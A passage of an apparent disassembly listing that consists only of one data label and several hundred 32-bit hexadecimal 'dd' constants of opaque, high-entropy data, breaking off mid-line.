12EE802Ah dd 0D81FC699h, 0F61E43CEh, 8124FEDEh, 4E58A60Bh, 5998F6A6h dd 0BE4AD239h, 569B1491h, 2BD243Ah, 6240EDE8h, 0AD0B8FD8h dd 0D0087478h, 0B11E2AB6h, 55EF04E2h, 0C0DA6025h, 0C95E8B9Fh dd 12BD044Ah, 38400841h, 2E2CFCF5h, 0BAB0213h, 63248DBBh dd 949AFC4h, 0B4715550h, 160FBE20h, 0C5668E2Eh, 0CEEA0BA2h dd 9F257E2Eh, 95B2EE7Bh, 453F784h, 93BB6855h, 0DEBF5D0Eh dd 60F15A89h, 0C124E2E9h, 6C6AB323h, 962AE9CCh, 15FDD3Dh dd 8FAE0A13h, 618F301Ch, 9D5F20E9h, 6769B068h, 4FCE9Eh dd 5C1B1CD2h, 0DA549F58h, 3CA81C0h, 54D8242Fh, 6BCC029Dh dd 30414C6Fh, 51E93BFEh, 6C8BAF97h, 71F57E62h, 79A46800h dd 5A423008h, 260F6950h, 6AEC285Ah, 1C5F318Bh, 18C201D3h dd 29416C02h, 104131EAh, 0C3E9CA08h, 7737C59h, 3AE73EE4h dd 0D182F8A2h, 0A76800D3h, 5F417225h, 365522FCh, 9F35E00Eh dd 0E8EEBCA8h, 34D07312h, 521E6409h, 12DA00F1h, 0CB816DFBh dd 4C0231EAh, 0E9DBF741h, 8085C877h, 0B8F05AF1h, 0B0D89DA7h dd 59C828C2h, 2E16FE2Ch, 0C538A32Fh, 11F0565Dh, 0CE4F128Ah dd 90E8B047h, 889D4226h, 340CE008h, 14DAC278h, 0AE7F3AE2h dd 5E4A4164h, 0B86B4FD4h, 0EC3D73A7h, 13A45A02h, 0E71E6E7Ch dd 0CD7843C1h, 0C354EC51h, 29A2D8BAh, 437D810Bh, 1A4EF16Dh dd 7FCD6534h, 31BB0BD5h, 2F2058C3h, 778907FDh, 0B8202998h dd 6851083Bh, 1924064Ah, 75EA4F0Ch, 123D09E5h, 0CC005310h dd 7F5804CFh, 0F662E912h, 0EAC1C130h, 0BE561C02h, 67A84041h dd 0DEDC681h, 3199C713h, 0B5D5B7E0h, 0A84A71h, 0EF67C060h dd 486FCE1Dh, 0E2F5312h, 0F4C5CA52h, 25C02BF8h, 48A2055Bh dd 1188554h, 5CC6C0C8h, 0D7A97BE1h, 92EB2987h, 717D1C87h dd 162C09B5h, 7D7A0676h, 0F6AD445Eh, 0AD97C2DFh, 54555AEAh dd 17B14212h, 55625B07h, 1257784h, 2B93B152h, 0F24F56CFh dd 9EE98218h, 5CA4A48h, 0C6FB5F97h, 4F1ED158h, 13F58645h dd 81494B83h, 872A0506h, 0E025B4C2h, 0CC4AFE4Ah, 0BC4309AAh dd 0C3E940F7h, 0DBCFE1E7h, 5350A8EBh, 0E94F15B3h, 68088537h dd 763D7F2Dh, 0DEE41F4Ah, 0AE6CC007h, 83640C70h, 0E901E804h dd 1EA83765h, 538FBA1h, 0BA7522BEh, 0DD952CD0h, 521A7805h dd 551E0997h, 0EA4B1F84h, 0B540ADB6h, 8EC9B52Ch, 7033BB61h dd 7E77E848h, 0F03A8C41h, 7A13C582h, 31015732h, 0A8CD853Fh dd 0B54A4570h, 0FCADE171h, 0F70A50D1h, 246E6D9Dh, 68EB0218h dd 0CC403395h, 0CA09483Ah, 0D3F76Fh, 1D21F56Dh, 0E9315C50h dd 0F9A7ED79h, 1BA80075h, 0C04A370Ch, 7B61B448h, 0E1902944h dd 0CFEA152Eh, 7F1ECC40h, 0CE682741h, 0AA5B99D2h, 5B98680h dd 2A751273h, 7A7E40F7h dd 29FDCC33h, 511ECD58h, 0D5EA936Ch, 0B35A228Bh, 0D0D15B24h dd 0B900EFEBh, 5E27276Dh, 612A4229h, 757A554Ah, 132A04C5h dd 4825FB80h, 0D1823583h, 706161A9h, 120DF97Ah, 20AE1BE6h dd 0D1152208h, 0FC31422Dh, 410BBA11h, 1A5802C2h, 42346A95h dd 0A3CB5D70h, 2A0B2879h, 5DA004EAh, 6FD551EAh, 8D3F88DEh dd 2C7EBD01h, 0AC3B0858h, 540A9261h, 80200C7Bh, 39011904h dd 56B040E9h, 2DAB00B8h, 0D8F743CDh, 6412A30Dh, 0B5BE69A6h dd 0EAF96F3Bh, 0C2AC529Fh, 53755010h, 0FC7B2561h, 543F950Bh dd 530D408Eh, 717DA672h, 4E2DE125h, 0FC09F60Eh, 297EE3FFh dd 967030D5h, 4AF76880h, 0DF02E80Ch, 0D7560D97h, 36E01AA1h dd 2329184h, 545AA4A7h, 86200244h, 0CCE3951Ah, 52C9D9C1h dd 0C18BF3C8h, 5E1C61D5h, 0E1AF9844h, 77B020DFh, 462A8667h dd 0DB3CFE67h, 0D00564E2h, 5CF01729h, 0CF810047h, 6CAE2BB5h dd 7BF7F74Fh, 0A24EBCE2h, 0CEC9DFB3h, 27DEE437h, 9B2F0A79h dd 0B26873C4h, 55ED8B23h, 315A3461h, 2812C58Bh, 0F0201346h dd 88E701BEh, 0D1CFFEC7h, 0E398E2F8h, 0FF282C02h, 0E92FCCC0h dd 290538Ch, 158453E6h, 76AFBC60h, 93FAD18h, 9D7A2962h dd 0B0F6420h, 77BA43D2h, 4BA35048h, 1027916h, 82A77322h dd 93776B1h, 7527857Eh, 0E9617D65h, 0F85762F9h, 4F474C45h dd 0BFF37EB1h, 4147466h, 1504070Bh, 0C6C7EB29h, 9E8288E0h dd 8AC6B56Dh, 384FC0F6h, 0ECD3F3FCh, 8829071Fh, 0E90B59EEh dd 0C644526Ah, 4C477FE8h, 0BB72524Bh, 568AA917h, 0F978F42Fh dd 257E9BBDh, 9AB042AEh, 0CE9F7DFAh, 0B1D90DCh, 5541700Bh dd 0B198B2E4h, 906F3441h, 49CF8736h, 650C2996h, 0B0E3495Ah dd 0AC0D4BA0h, 2BF499DAh, 6CD1CC7Ah, 3641D45h, 216F4122h dd 0FEE904A6h, 0CA4C4E1h, 0EE5D4415h, 0BFC481E8h, 9338D0E7h dd 64900E67h, 48C1C504h, 4BF520Ah, 0B34437A7h, 0D7622A35h dd 16605A58h, 0F3913406h, 0C0008D22h, 801603EDh, 0C009C1F5h dd 80EFC41Eh, 0E13AA9C9h, 2E5475C2h, 473C8E59h, 9FFBB27h dd 0C972D530h, 0F6E9530Ch, 96592092h, 81C5C40Eh, 3BF5CB94h dd 681327B2h, 0BF6F5698h, 9D5F0ACBh, 0EEC16B32h, 0A50DA0AEh dd 25D151B9h, 2A42BED5h, 18F2CB67h, 8E0D1D0h, 0AD13D405h dd 0F1AEBA4Dh, 4BA66762h, 4CDA99BFh, 0E909C7A7h, 85259247h dd 38AA18E3h, 29256817h, 326E616h, 2A824CECh, 7AA8F381h dd 0E91A1BA6h, 559C5B8Ah, 55E940FBh, 0DB200ED2h, 907CB24Fh dd 278AE7C4h, 0E11BFB01h, 3ACC4BE9h, 1A11ABB3h, 55E6691Eh dd 0F55E1041h, 19092AE4h, 19657759h, 72C03E16h, 255473BBh dd 745A4A49h, 5F2DD07Dh, 0D78D9AEh, 9C2F7EE9h, 3B66484Ah dd 858E4825h, 53F3BD64h, 3A10F426h, 805AC4Ch, 0A009A65Fh dd 705033C7h, 16E6C688h, 294C1712h, 81A46C4h, 6514091Ch dd 0F021097Bh, 0DD271CC5h, 68253B44h, 72F0D448h, 0ECC7895Dh dd 5C1A09BFh, 2B806371h, 7A924405h, 19820D07h, 31973F30h dd 0E9642480h, 0BC815B57h, 75DDC1EBh, 50075BB8h, 115F3F5h dd 4EE9FE09h, 72927518h, 32F8D8D7h, 0E14133F8h, 928D71F7h dd 54EF49BAh, 0F111C182h, 0B431F809h, 0CD803A4Dh, 0EE01BB15h dd 869569E9h, 0F4841F0h, 0CA2395A6h, 87BBC68Ah, 0A23631BBh dd 4B54214Ch, 2298508h, 5105E6C0h, 0F3AF43C0h, 242B880h dd 68704858h, 0C0D97B5Eh, 0A0310789h, 0C086B142h, 0EF66F2E1h dd 71D11D3Eh, 4C78EB0h, 0FA8FB5C0h, 0C4B650AEh, 0BC6BEF44h dd 72A9B4ECh, 6454F85Ah, 1D52812Ch, 3919C9B1h, 910BCC5Dh dd 0C81088F4h, 0C2BC4F38h, 11707D27h, 5951DE97h, 3754FAE9h dd 58E22000h, 1E0AF280h, 591DB753h, 9F6E50FAh, 1F87EF41h dd 82B22228h, 130D5908h, 0B7A3EE58h, 2DEE30A4h, 992F2CBAh dd 8284D009h, 0D91E5507h, 620673B7h, 3030B951h, 7D292F28h dd 2CEF2DC1h, 4EBA01A1h, 4A2EFC19h, 0EF281C4h, 0F7F23F0h dd 1839E2C0h, 68127925h, 0E5E33A49h, 0C13F527Eh, 7F25FB4Ah dd 30801DB2h, 5D4A68C3h, 0BFC0C69Fh, 0D12C47F0h, 0B117445Ah dd 0B27B24A1h, 294BD238h, 0E134A8EBh, 0A883F527h, 0D6EBCD31h dd 5ADF6977h, 111DC7CBh, 0DAE32C1Ah, 0B0365A10h, 8E4135CBh dd 3D104421h, 7DCCEA0Eh, 814C9E34h, 2A75E8C2h, 0CA8C4113h dd 0DA112549h, 5F708E9h, 7E31E2AAh, 4A598D59h, 2A20F2FCh dd 7FC23DA2h, 0D4C58A4Ah, 9DF10BFh, 0C5136156h, 872CFF58h dd 0A86A4BA9h, 20193EEh, 50DD4E2Dh, 5412813Ah, 1F4B2C73h dd 0E5175E2Ch, 186AF881h, 380761FAh, 36BF5700h, 724B56B0h dd 75473522h, 8480EFDCh, 0E9858A4Dh, 0F32C6B5Eh, 0CCA001D0h dd 47605337h, 0D963DD28h, 0B89906Dh, 9C4577BDh, 0D1E0E97Ch dd 5B50E9EDh, 33FF9855h, 27AFCDD2h, 8BCA679Ch, 0DB55C382h dd 96BB16DCh, 95EC6E02h, 0EE4485B5h, 5BD9A040h, 0B7260C68h dd 1B1AD898h, 0E90E820Bh, 598C046h, 4E6D1D45h, 0AE7D5D0Fh dd 0E955027Bh, 0B3DAC871h, 5238FB00h, 0ED835E48h, 2C872F02h dd 0DFA198FDh, 4368800Eh, 0DD957070h, 0CC99DB9Eh, 1104E62h dd 0CD59C888h, 28833AC7h, 805BA0FEh, 0E94409E6h, 1F564DC1h dd 77A95772h, 29DD8709h, 70A556A4h, 7609DFC3h, 4515E8Eh dd 0BB093D9Eh, 76752957h, 17C2810Eh, 6F153716h, 8A8BB1ACh dd 0B6B13CD8h, 20E1E452h, 0E8B538C8h, 0E4B1FC7Bh, 18B5DEh dd 0F30E957h, 0F6684007h, 9E2E9905h, 62924256h, 7F7587h dd 0DB7EE304h, 4CBE9867h, 8A4DE64h, 0B20953DBh, 3D889F5h dd 8176C2DBh, 0ECE45AD4h, 0E4C01244h, 0E033F808h, 70F380B0h dd 0BFDC54B1h, 0E9933EC4h, 4C5732A5h, 9E16F6AAh, 504094Ah dd 203F5FA2h, 5B30DA09h, 215F8F0Ch, 0B2520402h, 0F347FB2Bh dd 0EA32B8CAh, 181B61EFh, 0BA09D973h, 0D6817A5Eh, 3F5AD729h dd 1D43F689h, 0ADC39B53h, 0F658E10Bh, 0AC57E2ECh, 832DF020h dd 2342122Fh, 0DFD0356h, 47DAA70Eh, 6E180AE0h, 0E96CA504h dd 0AC129DADh, 4960406h, 0D4FF593Ah, 0BB0813DFh, 2CB24CA4h dd 3A8C30ECh, 0E50510A2h, 5C05980h, 0F382F280h, 0E97FE75Fh dd 0E9408255h, 1738560Dh, 0B168AF5Ch, 247669F2h, 0C1451DDh dd 2D1411E3h, 1C501309h, 3885777h, 835F1D07h, 4F0B734Bh dd 92DD8E9h, 706072D4h, 5AF8F59Dh, 525D03D5h, 59F2BD55h dd 46DC7DCAh, 2042CD82h, 6E88E060h, 0C3E082E6h, 9807840h dd 5472FCC0h, 4BDCC88Bh, 5AD8C25Bh, 0E9250B7Ah, 0F7244243h dd 0DD97641Eh, 1CB78402h, 694E4B5Ch, 9C4982E6h, 2BC72019h dd 845E4091h, 516837C0h, 0ADAAB16Dh, 1F200ED8h, 0A069033h dd 620E2C3Fh, 682F02DDh, 0EB803260h, 66300915h, 8A0A594h dd 4C141CD0h, 577C10EAh, 81012C1Ch, 0CC8FE5Fh, 86043FDAh dd 0BF3094h, 0E9C328CEh, 0E7B55737h, 9641699Dh, 46F1CBDEh dd 68FE315Ah, 5152DE14h, 0F02E7E9Dh, 3C41DAFEh, 950C1ED4h dd 6B081ED7h, 92681F0Fh, 0D476AAEFh, 411AFE95h, 6AA0CEE9h dd 8F832F27h, 59102D4Ch, 0C227CF5Bh, 69375D59h, 5AA654AFh dd 20A6E4DFh, 629D0BBAh, 0D85C5FB4h, 714E349Ch, 1342DF68h dd 7D0B129Eh, 1F8BCE22h, 940BC7D2h, 75587C14h, 6884D565h dd 0AD11599h, 0BB2ABB0Dh, 4BE9A868h, 5E0DA939h, 0AF5E8FA8h dd 0C16EA140h, 0B7C0E970h, 0FF5EB784h, 7805618Bh, 111C11Eh dd 2053B6DCh, 0FB826FC6h dd 0DBE25DE8h, 0AF589B54h, 1B5D97DCh, 1B01D161h, 8CC63181h dd 0E903FB54h, 88EA0CEh, 0AEB492A0h, 29CE4282h, 0DD7B89A4h dd 0E7D4F929h, 4DF66C3h, 46CDEF23h, 679B8116h, 61E565C3h dd 0D76717AFh, 5E1A3CA5h, 23340498h, 45F60F30h, 235D4A77h dd 4CCE8332h, 0CB1E6531h, 893F818Dh, 18953263h, 0E377D6AEh dd 2427F15h, 0DEA80558h, 82578C62h, 91F72975h, 0B26F0161h dd 0E405C08Bh, 0EB38DC34h, 27BFE83Eh, 0C90CDD2Dh, 2B5AE934h dd 646CE0B1h, 373ED2D0h, 0E93DBB02h, 9BF58EE7h, 2F2ECBF4h dd 0B0555D13h, 0BDF37BD3h, 0C4DCED1h, 0E91E9C38h, 2DF2927h dd 9D010EBBh, 7DDB0B60h, 0F844F12Dh, 8EF5025h, 0FF4A25E9h dd 0B539CE7Dh, 5305B764h, 41CFE956h, 0EA80DBB2h, 165A43D5h dd 987CAB7h, 2FBCD908h, 61B8F900h, 7F5F257Ah, 62012417h dd 16083E28h, 982CC67Bh, 946993E8h, 0AA6F8280h, 10BD00EEh dd 14484D5Eh, 790705F3h, 85FB0A5Ah, 7FC50046h, 0E9620D68h dd 779575E2h, 1D2D9A20h, 1B523F63h, 28481CFFh, 0F03AD727h dd 68A50AF1h, 80D72BEEh, 271DF781h, 0A473F438h, 539D80C8h dd 655126E9h, 5BD98063h, 0B234D005h, 0C8297A0Ah, 0D52F072Dh dd 7A73FBADh, 0A84AE2CEh, 0AD12B16Fh, 0AA58E517h, 5A2BE18Ah dd 0FE510DC8h, 2FF47238h, 0C5015C3Bh, 0A008AC3Ah, 0EC4D6719h dd 0EBBA0052h, 1D3B298h, 0CC32E9D5h, 7F5B403Eh, 1FBC1348h dd 72B825h, 0D4685E2Bh, 0B5B79209h, 0C1F53FCAh, 0EF36FD10h dd 0F027127h, 0F6770487h, 366C5A9Ah, 0BFA75E4Bh, 0B957D26Bh dd 122F46DDh, 81B8A4A2h, 0E7073841h, 0F79834F2h, 0C3E210A5h dd 0D9DAF3D9h, 550254D6h, 9A381468h, 7848FFC7h, 662A7644h dd 780CE6Ah, 625E14E9h, 0C2AF9153h, 2F05D6Dh, 35BF895Bh dd 9735460Fh, 0E1B7916Eh, 0C5417A47h, 0E36A5B5Ch, 7466C943h dd 86C4284h, 1B541855h, 80F9971Fh, 0BD0CB648h, 90C76947h dd 4D8F9CAAh, 8A262FD4h, 0A4914EAAh, 0E9BFDE7Ah, 2A7F5D33h dd 8B032FFAh, 5024387Bh, 0A6E13B8h, 133D049Eh, 0A0571611h dd 8229DE82h, 35E7BC6h, 0C893D931h, 0E7B682A5h, 681785F8h dd 67F36636h, 51BF5783h, 2F5D95D9h, 14984BEFh, 2282B7A9h dd 5100342Fh, 27800CB1h, 0CA5F43C9h, 81FE7712h, 0B1383BF1h dd 81CD800Eh, 757F56Bh, 3CE43677h, 0BA93E0h, 1B597551h dd 69651168h, 9E20297Fh, 0B2564BC2h, 595EC935h, 487EEA72h dd 30B389EBh, 4A92FED1h, 0ED735EBh, 0AB52D35Bh, 77F01C04h dd 3F3F1C48h, 75A64CE8h, 28E9FC0Bh, 0F448DDF0h, 7A7BAE62h dd 18B5F1B8h, 82E8528Ch, 8A5B4B85h, 0F9642430h, 72FAFCA7h dd 7FCA9F42h, 3834C455h, 0D3D82117h, 0A92CB712h, 63C9DEB5h dd 41467102h, 6B231068h, 0A24AD5DAh, 688398A2h, 5B126258h dd 52074E3Ah, 0F62E20B2h, 4146408h, 0A6BE7CBCh, 6A012DCAh dd 0D059D7B2h, 5891CA65h, 10D7D768h, 4B389315h, 7FC15CC2h dd 0C6208C64h, 768141Fh, 54CFE570h, 3673DAC6h, 4D63AC80h dd 9866449Eh, 305B1EC7h, 4F1C12E8h, 29295DCCh, 1435054h dd 0B3E89513h, 8512F213h, 9A8AFB12h, 0A48AF46h, 7D2DD577h dd 96505CA1h, 0EA2D1A96h, 4EFFED6Fh, 7A7C3DBBh, 178467A8h dd 8467BE06h, 534F12F0h, 0E9544029h, 52607731h, 2320CE88h dd 0C19FCB4Ch, 0D98463DDh, 5368A383h, 1222CAC4h, 680801EBh dd 6F2EFE2Bh, 668255C4h, 2593DED7h, 0A401E555h, 0BB880EAh dd 0B9735455h, 85ABF912h, 410544C5h, 58A372FAh, 4BDAFA70h dd 0D4D5FB37h, 41E52FA4h, 3EC3E3Eh, 0FA505B4h, 1F46167Ah dd 0AE06D26Ah, 80529E1h, 2C1A3981h, 949C5474h, 0C4752753h dd 3D0549B1h, 96230804h, 0AA3CFA5Ah, 0E9D10549h, 0BC7EF668h dd 896FCAF3h, 0EAC4092h, 504E007h, 7ADE07Bh, 0AB4B59E9h dd 4099E6A4h, 0F0BD310Fh, 97FD971Fh, 2DB02C6Eh, 0AAF16FE8h dd 16BC171Eh, 4FC45ED2h, 0EBB017F8h, 9A1720D7h, 3CAD5F7Bh dd 10B6EC97h, 830504F6h, 804601EEh, 0B2401901h, 38F85C5Ch dd 26C79064h, 19E3062Ch, 0D8455A0Ah, 0C8BF2A10h, 2E54C6A2h dd 0BD4AA17h, 8C01EBEFh, 4F7295Dh, 15E0807h, 142812FCh dd 8067A025h, 0B6C9B4Ah, 4EAFB1E9h, 94559D81h, 84DE4EC8h dd 7F28FB44h, 9E957768h, 1DA9C935h, 81E0C0DCh, 0B77FFEEh dd 0FE013DCEh, 0D168200h, 0E7FC6065h, 559240C0h, 9D1DFF7h dd 3B9DE9EFh, 5F539AF7h, 585DAAC9h, 0C84884B7h, 0C6417034h dd 2C46D6FEh, 125419F4h, 3ACDFD59h, 1BE6606h, 4C687691h dd 56CF6E69h, 0E34C520h, 0CE25E97Dh, 504BF7FBh, 811BC7C1h dd 5E4CF5C7h, 0E02A409Ch, 354AD65Ah, 0CA8551A9h, 0A28EAB59h dd 0EE87C44Bh, 7B049ECEh, 270D3E07h, 0C2044C5h, 0E11506E9h dd 0DCF4E82Bh, 2DE0C819h, 0D009868h, 35E52A73h, 0D273F792h dd 0B6E8D128h, 46F1D1Ch, 2718EAE0h, 7A401430h, 80803E55h dd 0F81D4EC7h, 4BBA9027h, 2912AFh, 4B6FBAB9h, 31ED017Ah dd 0ED5CC542h, 0FBB86E05h, 2925D801h, 0EC438567h, 0C7340EBAh dd 0F0BA3A36h, 0FB25E956h, 0F344DFA4h, 65A66806h, 4EC64E4Dh dd 0B846C0BCh, 1C724066h, 494C2D05h, 8D00016Bh, 5273371h dd 90077DA5h, 24F620DBh, 0A6495D76h, 4E364C18h, 0E9B052E8h dd 0DBB13671h, 48EA7DA5h, 0E1C1226Bh, 0C1FB81C6h, 8DF5D188h dd 9E4467ECh, 65DE516Dh, 6AF47B76h, 0B050097Ah, 75F83069h dd 0CAE1565Fh, 0DC35CA6Eh, 0CB21F813h, 0C7A410E0h, 535E27CCh dd 0D6BFD042h, 0E3B26226h, 180EEE08h, 0A1E89656h, 8A7CA006h dd 3C090C78h, 0D2669379h, 0F8E93E4Bh, 0C1EAE361h, 3F3EFD13h dd 0A0EC0101h, 0E1788A41h, 2AD88866h, 7D0767FAh, 0E3815184h dd 54043971h, 0CB1F0E20h, 0BA91500Ch, 259F6EAh, 0E2D1E941h dd 1E01103Dh, 2979F04Dh, 1FEDF4F1h, 1E397797h, 0B3517478h dd 820E3065h, 0DCDA81B9h, 901D7057h, 279A7A5Eh, 5F45515h dd 0B79808A0h, 0F03E7750h, 3A4F1800h, 7DB4CE81h, 0F6715CE3h dd 80373B00h, 7E6C161h, 0FAD6F728h, 272CAA49h, 88BC4329h dd 836D4806h, 3D8C01D8h, 46976816h, 1418588Ch, 9052FC4Ch dd 8B86AC5Eh, 5F94F06Dh, 5F64414Ah, 82027F63h, 0B855C40Ch dd 4E35FEBh, 602EEE9Bh, 0EF101EFEh, 982D4801h, 6A136923h dd 3D1B8E0h, 19ED81E5h, 642E188Eh, 5993DACFh, 0A0FF98F1h dd 1132655Fh, 50CB314Eh, 1C5F8CB3h, 7D27C4D2h, 0D3F6AD81h dd 0DDA3D786h, 0E3800809h, 403651BEh, 5366CAB6h, 0ECB2E971h dd 54B5BA84h, 56D68E3Fh, 0DA8FEA12h, 4535ED48h, 5A13933Ch dd 80848A0Fh, 0DC0679C5h, 3127F5D8h, 0B36ED5F6h, 7CEDFDD9h dd 79B830A4h, 0F2575DE8h, 0A4315AFDh, 5041DF2Bh, 0B50B37ECh dd 0C0C22ED9h, 9EBD0224h, 60435AE1h, 171E0DC7h, 0AF0C1BBAh dd 39802016h, 0C387BDF3h, 0D2DBF6B3h, 0EA45B9C6h, 6EE4F949h dd 5A1CF0F3h, 5EF28901h, 1C28342h, 0BE4A9AF4h, 0ED40A5F7h dd 109D273Dh, 25423CAAh, 347C135Ah, 4E4403C0h, 3B12B128h dd 73CC5082h, 46D54C29h, 590C80CDh, 5D99853h, 13F22F5Fh dd 5928040h, 0E613CA35h, 0C1BF0E2Ch, 74674A7Fh, 2EEB8DD7h dd 0C930D232h, 0A689F613h, 0DD29C7B3h, 0AC567E49h, 4AB4FFCEh dd 0E7BF3A84h, 403B25F2h, 78095FCFh, 8B1627CAh, 39B0AF27h dd 1CB9715Dh, 0B839F37h, 0F090B11Ch, 77824AD4h, 0F0818407h dd 13EC1E91h, 765A1DB4h dd 0BA5200C1h, 4C239F73h, 78A1D5A0h, 50201127h, 0B5536B9Dh dd 68844553h, 4EF22422h, 82CEEF97h, 68F2804Eh, 0C6950769h dd 677A160Dh, 50560582h, 4020AEE5h, 7435BE66h, 0EEC11825h dd 2E60803h, 5CF4EF8h, 76350681h, 68C6120Ah, 0E502F95Eh dd 0CB95340Ah, 561079ACh, 300CF4Ch, 468630Dh, 9C003560h dd 8952937Fh, 274F58C7h, 0EA8490E9h, 622AC75Dh, 0FAC063B1h dd 7C12E5EAh, 84AA3FFBh, 5D0809AFh, 61A1E8FDh, 76F10941h dd 6643D5F7h, 47FE4604h, 2DBC2C74h, 0D9E20579h, 979F116h dd 2E7CA8F6h, 0AC2C8A51h, 864881Ah, 68184261h, 2B0BC4B8h dd 0D5DC5909h, 0F1534C09h, 455A9648h, 0AF315EE0h, 5C4814CBh dd 6865407Fh, 0DE2F6D26h, 14E8F76Bh, 21713812h, 2AD0F0C1h dd 0C0871949h, 79DF4054h, 8020CDDCh, 7CA0044Fh, 0B5207225h dd 65083FDEh, 1DDC20B8h, 7E354DC3h, 0B1A9E5DAh, 5C171A11h dd 0B96B40F6h, 10F19FA2h, 37FED98Eh, 815E5E8Ah, 3E3F6931h dd 0E3922EF2h, 87681390h, 0D0E94D82h, 8779052h, 353F6D65h dd 3BE27902h, 2505F6D1h, 0FC4BC37Ch, 0B971AF65h, 0DFBBA96Fh dd 0E3685938h, 0DC210162h, 69365C5Fh, 76A708F6h, 0D2E98F9Bh dd 5A3FB54h, 27505C88h, 808A70B7h, 924EE907h, 12E395C0h dd 7A11B606h, 40C010Bh, 0C07C1B2Eh, 5A90EE31h, 95FBEB5h dd 59C821D2h, 0F520FBFAh, 2B683C0Ch, 1C4B335Ah, 0DE7FE885h dd 0E6747E49h, 27649077h, 34945AAAh, 745256BEh, 0C6B6629Fh dd 0F652C075h, 66E39FDEh, 8859EE80h, 2F78F059h, 7025D767h dd 0EEA6EB33h, 0B5AC9250h, 0AE5C5485h, 0F22F827Dh, 1832D319h dd 2BB46154h, 8B0B800h, 1674093Dh, 31EA4CEBh, 3F1279B2h dd 4A3E938Bh, 501E98DAh, 0AD09577Ch, 32100136h, 0A5C8573Dh dd 50808C40h, 8F909554h, 0C82AD11h, 917D120Ah, 0F766877Dh dd 0B0A3B5E1h, 360905CCh, 5D20DB2Dh, 0BB141B8Ch, 0D670CB09h dd 1F9F64Ah, 0D254C781h, 0FA09D06Eh, 8FA7E917h, 9022DE26h dd 985E87h, 685256D5h, 0BC1F2C44h, 1A575A79h, 0E388F081h dd 0AE2483DDh, 568F14BBh, 0EB02F5F4h, 4FA540F9h, 0C18053D4h dd 0E968F27Bh, 0B3734ADDh, 0CFC49772h, 0E90C6CFEh, 710D952Fh dd 542763BAh, 6FED1907h, 645FD664h, 42FB2BB2h, 585B6854h dd 41E646D7h, 53E42A14h, 3F4F41C3h, 0EF4FB5F7h, 61640161h dd 0C67C8004h, 1E4BC163h, 1393C2E4h, 48819E8h, 0F4CAFD9Bh dd 0F504DF15h, 0FB29711Bh, 7B0000BBh, 411C3F59h, 0E3B8A8C1h dd 0C72EA73Bh, 0B12C84B7h, 52893AB3h, 219DB589h, 0FB01CD24h dd 0CB4A0FADh, 9E68008Ah, 0E90F8527h, 0ACC5994h, 0E41CBE85h dd 39D03D9Bh, 5EB4BD2h, 83515D93h, 1A13258Dh, 0CEE5E628h dd 0C11168EDh, 768CA75Bh, 1E321078h, 0B30F9CBEh, 1B854E46h dd 5BDD8014h, 86D50EF6h, 0FB353FDh, 304F016Dh, 8EF981Ch dd 0AC4AE580h, 34475C0Dh, 5F045BD8h, 74A0A861h, 0F6F7EB4h dd 0E634E0Bh, 0F83CFDD8h, 44E93CC2h, 7C7DF97h, 4838A0ACh dd 0A6575A54h, 44FB0653h, 0E077E97Ah, 7CBD5AB6h, 59E5DA14h dd 0FA39968Bh, 2DC878D7h, 406603A4h, 0D4F2203h, 2426BA18h dd 17BE290Bh, 0A8D05338h, 1AC4A59h, 9FD580B4h, 624B4048h dd 2980C8BEh, 5C74952h, 0A47DD985h, 76DB03FFh, 52096A75h dd 0A231D6E9h, 0FEA4B42Ch, 0CD699C21h, 0FF0CDDE4h, 7F28C4C9h dd 27F02A12h, 4359290h, 3D0A04BEh, 3F17FF0Ch, 6B2D37ADh dd 850FF300h, 4B9269EAh, 1E5ECB20h, 0BDA7A9E9h, 4D7DBBCEh dd 7C2EC078h, 0B5F8A0F5h, 801CC4F0h, 0CEC0FAEEh, 6E6C0C3h dd 0AEC64AFEh, 19E34D48h, 0F9760C0Ch, 7F108BCEh, 0A9DE88E9h dd 0BE56EF80h, 0D8397Bh, 0F681462Fh, 7DED365Bh, 6598CEECh dd 0E97EE604h, 0D9BF4FE1h, 2A47E8A9h, 8C6C5C0h, 0B8419A01h dd 37F505DFh, 0EF0948D5h, 58D86D04h, 5201FE12h, 751E1455h dd 0C47C07F1h, 1729BA0Fh, 33210416h, 0CD89072Dh, 99B5EA27h dd 5104A552h, 0BCEE507Ah, 0FAF3E792h, 0E13A00FEh, 10BB5355h dd 78002B23h, 0D4DCF4BDh, 0C1CFE987h, 96853B5h, 0CB367C6Dh dd 24F5D826h, 0F98D9F6h, 526428B7h, 0FDF4D446h, 144E10C9h dd 0F1AC4F4Bh, 0BC093A44h, 0D3DCC4CCh, 0AE0BF00h, 38C920AFh dd 247EFB02h, 0E7E9504Bh, 3966FD0h, 0B1ED92C5h, 0A96B4842h dd 0D2172F3Ah, 8D84AA62h, 48E99DC0h, 0BEA5CB98h, 642FAF57h dd 30EE9FB5h, 5488A34Ch, 4E31A634h, 0AF8E84EEh, 74ADF0C4h dd 7E45D582h, 3021D182h, 24B845DAh, 97F9B520h, 0B16E5DF6h dd 0EFB2AD12h, 0BD5BF6F2h, 875D177Eh, 66B04835h, 5A4BC990h dd 9311C755h, 0E9FAF4EAh, 0CA067D5Eh, 0BE212868h, 2BF40285h dd 27F5046h, 0C706A8D7h, 10400880h, 2345E18h, 70092656h dd 0EC1E00EBh, 8CE9FC6Bh, 0FF7289BDh, 0E3FE5496h, 0C4A3316Eh dd 47FB1FE8h, 0F52BB10Bh, 0BA07D44Ah, 0A90DEA2h, 0EAB824D2h dd 0F45EE4D2h, 5B7C2FE4h, 95A5A6BEh, 0C125EDA0h, 786E7E24h dd 3138685Bh, 65BF5A6Fh, 580B93FEh, 404F20B1h, 7F0E48B0h dd 0C8AE794Eh, 0FB0BEA1Eh, 0F8EC1DABh, 29A18960h, 75E24D35h dd 4494359h, 82BA8A93h, 8B7DE8CCh, 0F38CA58Eh, 25686BB0h dd 9CF47A22h, 3089F967h, 0B6614173h, 0FC6AAD1Ah, 1D1DF584h dd 0FF88249h, 8CDACF0Eh, 325493FAh, 0AD3E5759h, 42FD8707h dd 0F4DB4DE1h, 0BE5C87BBh, 84FE07Bh, 0A5C110BAh, 0AD1A4E2Eh dd 0C509FDD1h, 2FDF4659h, 1CD339Fh, 5016A22Ch, 41C6EECCh dd 962AF55Dh, 8BBF53B1h, 9FE90AE9h, 7F69FF30h, 0D9755829h dd 0F9F7607Bh, 325B8EE9h, 0EAE1DCACh, 9B617F02h, 0EC623089h dd 0ACA2CB9Eh, 56042F6h, 9D6A0873h, 0E300247Ch, 311722D2h dd 9C2D98E9h, 967FA755h, 0F606B287h, 7F802859h, 52FD0208h dd 7C2976E4h, 0CA014D1h, 811C10D0h, 4DC2685Fh, 0BBD7716Ch dd 4401FC81h, 